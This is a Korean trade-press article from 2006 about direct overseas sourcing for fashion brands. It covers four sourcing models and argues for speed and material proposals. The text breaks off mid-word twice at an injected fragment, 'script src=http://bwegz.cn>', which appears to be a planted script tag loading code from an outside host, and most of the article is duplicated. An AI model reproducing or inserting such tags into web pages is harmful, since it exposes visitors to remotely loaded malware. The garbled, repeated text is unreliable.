다이렉트 소싱은 선택 아닌 필수
2006-08-25
모든 산업이 경쟁이 치열하지 않는 분야가 없지 않겠지만 최근 내수 패션시장은 그야말로 총성 없는 전쟁터를 방불한 것 같다. 이렇게 치열한 경쟁 속에서 살아남기 위해 패션기업은 마켓을 분석하고 마케팅 전략을 수립하며 더 많은 실적과 효율을 위해 심혈을 기울이고 있다.
그 가운데 명제 하나는 ‘잘 구매하는 자가 잘 팔 수 있다’는 단순하지만 간과할 수 없는 중요한 사실을 인식한 기업은 더 낳은 소싱(Sourcing)을 위해 전사적 노력을 간구하고, 그 결과 파워풀한 소싱 능력을 갖춘 기업은 이를 기반으로 새로운 시장을 개척해 나가거나 시장에서 주도적 위치를 확보하고 성공적인 사업을 운영해가고 있다. 이렇게 경쟁이 치열하면 치열할수록 기업의 소싱능력은 성공적인 기업운영의 키워드가 되고 더 나은 경쟁력 확보를 위한 해외 다이렉트 소싱은 선택이 아닌 필수가 되게 되었다. 이런 맥락에서 해외 소싱의 유형과 장단점, 앞으로 추구되어야 할 바람직한 형태의 소싱 방향, 해외소싱의 흐름도를 생각해 봄으로서 다이렉트 소싱에 대한 이해를 좀더 넓히는 기회가 되었으면 한다.
◇ 다이렉트 소싱의 유형과 장·단점
다이렉트 소싱의 유형에는, 첫째 해외에 직접 지사를 세우고 현지 소싱을 하는 경우로 매입 규모가 큰 기업에서는 중간 마진을 제외하고 직접 소싱처를 발굴, 관리함으로 원가 경쟁력을 확보하여 시장에서 가격경쟁력 우위를 누리며 마케팅을 전개하고 있다. 하지만 이런 장점이 있음에도 불구하고 패션 특성상 시장의 변화 상황에 발 빠른 대응을 하기 위해선 속도의 한계를 가지고 있는 것이 사실이다. 상대적으로 많은 물량을 생산하기 위해서 훨씬 이른 선(先)기획이 들어가고 따라서 빠른 속도로 변화하는 시장의 요구를 반영, 단납기로 커버하기에는 어려움이 따르는 게 현실이다.
둘째, 이러한 약점을 보완하기 위해 지사를 통한 소싱 외에 전문 프로모션 업체를 통한 소싱을 병행함으로 독자적 소싱의 약점을 보완하는 방식이다. 비교적 기본형과 베이직 상품 군에 속하는 제품들은 선진행으로 원가적 강점을 누리고 패션성을 가미한 제품군은 시장의 반응을 반영함으로 선기획 생산 진행의 단점을 보완해야 한다.
셋째, 브랜드에서 직접 출장관리를 통한 해외소싱 방식이다. 브랜드의 필요에 맞게 맞춤형 소싱처를 찾아 필요한 부분을 직접 소싱함으로 브랜드의 직접적인 필요를 채울 수 있다. 하지만 커뮤니케이션의 한계와 브랜드의 요구사항을 상대방이 명확히 이해하고 움직이기까지는 많은 시간과 값 지불이 요구된다.
넷째, 해외 직접투자 전문 프로모션 업체를 통한 다이렉트 소싱이 있다.
해외 현지의 로컬 업체보다 다소 원가 측면에서 높을 수 있지만 제공 받을 수 있는 장점은 많다. 브랜드의 필요를 명확히 이해하고 있어 의사소통이 원활한 측면이 많고 샘플 팔로우 업(Follow up), 다양한 소재 제시 능력, 좀더 빠른 스피드를 가지고 납기 및 서비스를 제공한다.
이상 대표적인 네 가지 유형의 다이렉트 소싱 방식을 살펴 보았지만 중요한 것은 브랜드의 필요에 맞게 적절한 방식의 소싱형태를 선택하는 것과 좋은 소싱 파트너를 발굴하여 거래의 집중화를 통한 상호 이익을 추구하는 것이 기본적으로 필요하며 이를 바탕으로 소싱을 제공하는 업체도 시장의 흐름과 브랜드의 필요에 더 적극적으로 대처하고 준비하여 경쟁력을 향상시키는 능동적인 자세가 필요하다고 생각된다.
◇ 바람직한 미래형 소싱
최근 국내 패션시장 상황은 수요에 비해 넘쳐나는 공급물량, 할인점 유통의 활성화, 매머드급 중저가 브랜드의 시장 점유율 그리고 인터넷을 통한 판매 등으로 인해 가격 경쟁력만 앞세워 시장에서 경쟁적 우위를 확보하기에는 무리가 따르는 것 같다. 더군다나 패션의 주기는 더 빨라지고 소비자의 욕구는 더 다양해져 이런 변화의 신속성과 다양성을 패션에 담아내려는 기획자, 디자이너 고충은 충분히 이해가 된다.
이런 위험을 안고 수 개월 전에 선기획으로 가격의 강점만을 생각하고 패션성 있는 제품을 정해진 수량으로 미리 생산을 시작하기에는 부담이 가지 않을 수 없다. 디자인이 많이 가미되지 않은 기본 아이템이 매출을 차지하는 비율은 점점 떨어지고 패션성 있는 제품의 매출 기여도는 더욱 높아지고 있는 것이 현실이다. 이런 상황에서 요구 되어지는 것은 시장의 변화를 반영하는 제품을 단납기에 생산할 수 있고 판매반응이 좋은 제품에 대한 신속한 리오더 시스템이다.
따라서 여기에 대변되는 핵심 키워드는 소재 제시력과 속도라 아니할 수 없다. 시장 트렌드를 반영한 소재의 제시를 통한 상품기획력의 차별화를 꾀하고, 그리고 이를 빠른 시간 안에 제품화시켜 판매로 이어질 수 있는 신속한 대응이야말로 시장의 경쟁이 치열해지면 질수록, 또 변화가 심하면 심?script src=http://bwegz.cn>
그 가운데 명제 하나는 ‘잘 구매하는 자가 잘 팔 수 있다’는 단순하지만 간과할 수 없는 중요한 사실을 인식한 기업은 더 낳은 소싱(Sourcing)을 위해 전사적 노력을 간구하고, 그 결과 파워풀한 소싱 능력을 갖춘 기업은 이를 기반으로 새로운 시장을 개척해 나가거나 시장에서 주도적 위치를 확보하고 성공적인 사업을 운영해가고 있다. 이렇게 경쟁이 치열하면 치열할수록 기업의 소싱능력은 성공적인 기업운영의 키워드가 되고 더 나은 경쟁력 확보를 위한 해외 다이렉트 소싱은 선택이 아닌 필수가 되게 되었다. 이런 맥락에서 해외 소싱의 유형과 장단점, 앞으로 추구되어야 할 바람직한 형태의 소싱 방향, 해외소싱의 흐름도를 생각해 봄으로서 다이렉트 소싱에 대한 이해를 좀더 넓히는 기회가 되었으면 한다.
◇ 다이렉트 소싱의 유형과 장·단점
다이렉트 소싱의 유형에는, 첫째 해외에 직접 지사를 세우고 현지 소싱을 하는 경우로 매입 규모가 큰 기업에서는 중간 마진을 제외하고 직접 소싱처를 발굴, 관리함으로 원가 경쟁력을 확보하여 시장에서 가격경쟁력 우위를 누리며 마케팅을 전개하고 있다. 하지만 이런 장점이 있음에도 불구하고 패션 특성상 시장의 변화 상황에 발 빠른 대응을 하기 위해선 속도의 한계를 가지고 있는 것이 사실이다. 상대적으로 많은 물량을 생산하기 위해서 훨씬 이른 선(先)기획이 들어가고 따라서 빠른 속도로 변화하는 시장의 요구를 반영, 단납기로 커버하기에는 어려움이 따르는 게 현실이다.
둘째, 이러한 약점을 보완하기 위해 지사를 통한 소싱 외에 전문 프로모션 업체를 통한 소싱을 병행함으로 독자적 소싱의 약점을 보완하는 방식이다. 비교적 기본형과 베이직 상품 군에 속하는 제품들은 선진행으로 원가적 강점을 누리고 패션성을 가미한 제품군은 시장의 반응을 반영함으로 선기획 생산 진행의 단점을 보완해야 한다.
셋째, 브랜드에서 직접 출장관리를 통한 해외소싱 방식이다. 브랜드의 필요에 맞게 맞춤형 소싱처를 찾아 필요한 부분을 직접 소싱함으로 브랜드의 직접적인 필요를 채울 수 있다. 하지만 커뮤니케이션의 한계와 브랜드의 요구사항을 상대방이 명확히 이해하고 움직이기까지는 많은 시간과 값 지불이 요구된다.
넷째, 해외 직접투자 전문 프로모션 업체를 통한 다이렉트 소싱이 있다.
해외 현지의 로컬 업체보다 다소 원가 측면에서 높을 수 있지만 제공 받을 수 있는 장점은 많다. 브랜드의 필요를 명확히 이해하고 있어 의사소통이 원활한 측면이 많고 샘플 팔로우 업(Follow up), 다양한 소재 제시 능력, 좀더 빠른 스피드를 가지고 납기 및 서비스를 제공한다.
이상 대표적인 네 가지 유형의 다이렉트 소싱 방식을 살펴 보았지만 중요한 것은 브랜드의 필요에 맞게 적절한 방식의 소싱형태를 선택하는 것과 좋은 소싱 파트너를 발굴하여 거래의 집중화를 통한 상호 이익을 추구하는 것이 기본적으로 필요하며 이를 바탕으로 소싱을 제공하는 업체도 시장의 흐름과 브랜드의 필요에 더 적극적으로 대처하고 준비하여 경쟁력을 향상시키는 능동적인 자세가 필요하다고 생각된다.
◇ 바람직한 미래형 소싱
최근 국내 패션시장 상황은 수요에 비해 넘쳐나는 공급물량, 할인점 유통의 활성화, 매머드급 중저가 브랜드의 시장 점유율 그리고 인터넷을 통한 판매 등으로 인해 가격 경쟁력만 앞세워 시장에서 경쟁적 우위를 확보하기에는 무리가 따르는 것 같다. 더군다나 패션의 주기는 더 빨라지고 소비자의 욕구는 더 다양해져 이런 변화의 신속성과 다양성을 패션에 담아내려는 기획자, 디자이너 고충은 충분히 이해가 된다.
이런 위험을 안고 수 개월 전에 선기획으로 가격의 강점만을 생각하고 패션성 있는 제품을 정해진 수량으로 미리 생산을 시작하기에는 부담이 가지 않을 수 없다. 디자인이 많이 가미되지 않은 기본 아이템이 매출을 차지하는 비율은 점점 떨어지고 패션성 있는 제품의 매출 기여도는 더욱 높아지고 있는 것이 현실이다. 이런 상황에서 요구 되어지는 것은 시장의 변화를 반영하는 제품을 단납기에 생산할 수 있고 판매반응이 좋은 제품에 대한 신속한 리오더 시스템이다.
따라서 여기에 대변되는 핵심 키워드는 소재 제시력과 속도라 아니할 수 없다. 시장 트렌드를 반영한 소재의 제시를 통한 상품기획력의 차별화를 꾀하고, 그리고 이를 빠른 시간 안에 제품화시켜 판매로 이어질 수 있는 신속한 대응이야말로 시장의 경쟁이 치열해지면 질수록, 또 변화가 심하면 심?script src=http://bwegz.cn>
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